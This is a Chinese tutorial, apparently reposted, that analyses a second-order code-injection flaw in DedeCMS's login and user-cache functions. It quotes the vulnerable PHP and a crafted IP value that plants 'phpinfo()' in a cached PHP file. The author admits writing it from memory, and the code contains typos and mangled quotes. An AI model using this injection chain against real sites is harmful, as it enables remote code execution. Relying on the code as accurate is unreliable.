Dedecms getip()的漏洞利用代码

当前位置 : 首页 > 实用技巧 > 安全教程 > Dedecms getip()的漏洞利用代码

Dedecms getip()的漏洞利用代码

来源:互联网 作者:脚本宝典 时间:2015-07-26 18:08
在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php functionFushCache($mid=0) { if(empty($mid))$mid=$this-M_ID; $dsql=newDedeSql(); $row=$dsql-GetOne(”SelectID,userid,pwd,type,uname,membertype,money,uptime,expt

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php 

function FushCache($mid=0) 

if(empty($mid)) $mid = $this->M_ID; 
$dsql = new DedeSql(); 
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From wang_member where ID='{$mid}' “); 
if(is_array($row)) 

$scrow = $dsql->GetOne(”Select titles From wang_scores where integral<={$row['scores']} order by integral desc”); 
$row['honor'] = $scrow['titles']; 

if(is_array($row)) return WriteUserInfos($mid,$row); //这里 
else return ”; 


WriteUserInfos()的代码: 

//写入用户的会话信息 
function WriteUserInfos($uid,$row) 

$tpath = ceil($uid/5000); 
$ndir = dirname(__FILE__).”/cache/user/$tpath/”; 
if(!is_dir($ndir)){ 
mkdir($ndir,0777); 
chmod($ndir,0777); 

$userfile = $ndir.$uid.'.php'; 
$infos = “<”.”?php\r\n”; 
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”; 
foreach($row as $k=>$v){ 
if(ereg('[^0-9]‘,$k)){ 
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键  
$v = ereg_replace(”(<\?|\?>)”,”",$v); 
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”; 


$infos .= “\r\n?”.”>”; 
@$fp = fopen($userfile,'w'); 
@flock($fp); 
@fwrite($fp,$infos); 
@fclose($fp); 
return $infos; 


我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″; 

mysql> select 0×68656967655C273B706870696E666F28293B2F2F; 
+——————————————–+ 
| 0×68656967655C273B706870696E666F28293B2F2F | 
+——————————————–+ 
| heige\';phpinfo();//                       | 
+——————————————–+ 
1 row in set (0.00 sec) 

利用流程: 
A: 
else{ //成功登录 
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″; 
$dsql->ExecuteNoneQuery(”update wang_member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”); 

B:FushCache() 

$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From wang_member where ID='{$mid}' “); 

C:WriteUserInfos() 

heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();// 

===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'   

其中str_replace的部分相当于代码: 

<?php 
$v=”heige\';phpinfo();//”; 
$v = str_replace(”‘”,”\\'”,$v); 
print $v; 
?> 

整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用   

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。] 

Tag:
网友评论

<